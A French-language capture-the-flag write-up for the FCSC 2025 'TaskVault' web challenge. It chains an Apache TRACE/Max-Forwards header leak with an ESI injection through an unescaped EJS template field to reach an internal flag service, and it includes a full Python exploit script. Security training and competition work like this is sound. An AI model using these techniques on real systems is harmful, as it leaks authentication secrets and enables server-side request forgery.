FCSC 2025 - TaskVault

Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.

Analyse du code

Le code de cette application se compose de trois conteneurs Docker.
- Le premier est un conteneur Express.js qui fait tourner une application web permettant la gestion de tâches.
- Le deuxième est un conteneur Apache qui sert de reverse proxy vers l'application Express.js.
- Le troisième et dernier conteneur est un service Varnish, qui sert également de reverse proxy et faisant la distinction entre deux services: le host give_me_the_flag qui redirige vers un service donnant le flag, et un autre backend pour toutes les autres valeurs de host, représentant l'application de gestion de tâches.

Pour résumé, voilà un schéma avec toutes les redirections :

Schéma de fonctionnement de l'application

En se connectant sur le service, nous n'avons accès qu'à l'endpoint "root".
Cela s'explique par la surcouche sécuritaire ajoutée par Varnish, qui définit un header "X-Admin-Key" qui transite entre le service Varnish et serveur Express.js, en passant par le reverse proxy Apache.

Au début du code Express.js, le header est checké. S'il n'est pas présent, une erreur 403 est retournée.

// ...
app.use((req, res, next) => {
	const adminKey = req.headers["x-admin-key"];
	
	if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
		return res.status(403).json({ error: "Unauthorized access" });
	}
	next();
});
// ...

Audit de configuration: Varnish

Côté Varnish, nous avons cet entrypoint:

/bin/cat > /etc/varnish/default.vcl << EOF
vcl 4.0;

backend default {
    .host = "taskvault-apache2";
    .port = "8000";
}

backend flag_backend {
    .host = "taskvault-app";
    .port = "1337";
}

sub vcl_backend_fetch {
    if (bereq.http.host == "give_me_the_flag") {
        set bereq.backend = flag_backend;
    } else {
        set bereq.backend = default;
    }
}

sub vcl_recv {
    if (req.url == "/" || req.url == "/favicon.jpeg") {
        set req.http.X-Admin-Key = "${ADMIN_KEY}";
    }
    return(pass);
}

sub vcl_backend_response {
    set beresp.do_esi = true;
}
EOF

exec varnishd -F -a :8000 -s malloc,256m -f /etc/varnish/default.vcl

Nous voyons ici plusieurs choses intéressantes :
- L'application n'applique le header "X-Admin-Key" que pour "/" et "/favicon.jpeg".
- L'application autorise l'ESI ("Edge Side Includes") pour toutes les réponses.

L'Edge Side Includes est un langage de balisage, similaire au HTML, pour l'assemblage de sites web dynamiques. Concrètement, nous pouvons nous servir de ce langage pour inclure le contenu d'un URL, depuis le serveur web. Si l'utilisateur peut injecter directement du langage ESI, cela peut permettre une SSRF (Server Side Request Forgery), une faille qui force le serveur web à effectuer une requête vers un site web.

Audit de configuration Apache

Concernant la configuration de Apache, elle est définie par :

ServerAdmin contact@fcsc.fr
ServerName fcsc.fr

<VirtualHost *:8000>
    TraceEnable on
    ProxyPass / http://taskvault-app:3000/
    ProxyPassReverse / http://taskvault-app:3000/
</VirtualHost>

Il n'y a ici pas grand chose à auditer mais nous voyons ici une seule chose intéressante: la méthode "TRACE" est activée sur le reverse proxy.

La méthode "TRACE" sur Apache est une méthode utilisée notamment pour le debug. Elle entre autres de retourner à l'utilisateur la valeurs des en-têtes de la requête, de la réponse, etc... Ce genre de détails ne sont jamais laissés au hasard dans les CTF, il est donc surement nécessaire de l'exploiter pour potentiellement leaker les headers qui transitent par Apache.

Audit de l'application Express.js

Sur l'application, je recherche un endroit où les entrées utilisateur ne sont pas échappées et permettrait d'injecter du code ESI. Pour ce faire, je cherche dans les fichiers le motif "<%-" qui signifie que l'entrée n'est pas nettoyée, à contrario du "<%=".

Je trouve un match dans le fichier "views/backlog.ejs" :

$ grep -arin '<%-'
views/backlog.ejs:95:          <h3 id="<%- note.title %>" class="text-xl font-bold text-gray-800 mb-2 mt-1"><%= note.title %></h3>

Ici, l'entrée de l'utilisateur correspondante au titre de la note est insérée dans le champ "id" de la balise mais elle n'est pas nettoyée. Ici, une injection ESI est possible du style :

"><esi:payload>

Exploitation

Dans un premier temps, il nous faut hijacker le header "X-Admin-Key". Pour ce faire, nous pouvons exploiter la vulnérabilité présente dans la configuration d'Apache, permettant l'utilisation de la méthode "TRACE". Je teste directement la méthode sur le serveur web :

TRACE request without Max-Forwards

Nous avons ici une erreur car Apache, recevant la requête "TRACE" la transfère à l'application Express.js, qui refuse la requête car la méthode n'est pas autorisée.

En fouillant la documentation Apache, je trouve une documentation sur le header "Max-Forwards": https://juneau.apache.org/site/apidocs-8.0.0/org/apache/juneau/http/MaxForwards.html.

Avec ce header, nous pouvons préciser le nombre de rebonds maximal qu'il est possible de faire pour une requête passant par des reverse proxy. En précisant cette valeur à 0, nous disons à Apache qu'il n'est plus possible de transférer la requête, et va donc nous répondre un code 200 avec les headers de la requête, transférée entre Varnish et Apache. Par exemple, nous pouvons l'exploiter ainsi pour hijacker le header Admin:

TRACE request with Max-Forwards

Maintenant que nous avons récupéré la valeur du "X-Admin-Key", nous pouvons faire une requête aux endpoints protégés comme register par exemple.

Requête sur register avec le X-Admin-Key

Je l'ai ajouté à mon navigateur Firefox avec une extension.

Ajout du header dans Firefox

Ainsi, je peux maintenant accéder à la page d'inscription et créer un nouveau compte.

Accès à la page d'inscription

Une fois connecté, nous pouvons injecter une balise ESI dans le titre d'une nouvelle note, avec un payload, tel que donné plus haut. Nous allons donc injecter :

"><esi:include src="http://give_me_the_flag/" />

Une fois la note créée avec le payload en titre, on peut retrouver le flag dans l'id du titre de la note :

Flag dans l'ID du titre

Maintenant que nous avons la marche à suivre, j'ai créé un script Python pour automatiser la récupération du flag. Le script est le suivant :

import requests
import random

URL = "https://taskvault.fcsc.fr"

def hijack_admin_key():
    r = requests.request("TRACE", URL, headers={"Max-Forwards": "0"})
    return r.text.split("X-Admin-Key: ")[1].split("\r\n")[0]

def register(admin_key):
    data = {"username": ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(12)]), "password": "password"}
    r = requests.post(URL+"/register", data=data, headers={"X-Admin-Key": admin_key}, allow_redirects=False)
    return r.headers["Set-Cookie"].split(";")[0].split("=")[1]

def esi_injection(cookie, admin_key) -> None:
    data = {"title": '"><esi:include src="http://give_me_the_flag/" />', "content": "ESI Injection"}
    cookies = {"connect.sid": cookie}
    r = requests.post(URL+"/backlog", data=data, cookies=cookies, headers={"X-Admin-Key": admin_key})
    return "FCSC{" + r.text.split("FCSC{")[1].split("}")[0] + "}"

def solve():
    admin_key = hijack_admin_key()
    cookie = register(admin_key)
    flag = esi_injection(cookie, admin_key)
    print(f"[+] FLAG: {flag}")


if __name__ == "__main__":
    solve()

Une fois le script terminé, il ne nous reste plus qu'à l'exécuter pour récupérer le flag.

Récupération du flag avec le script de résolution

FLAG:
FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}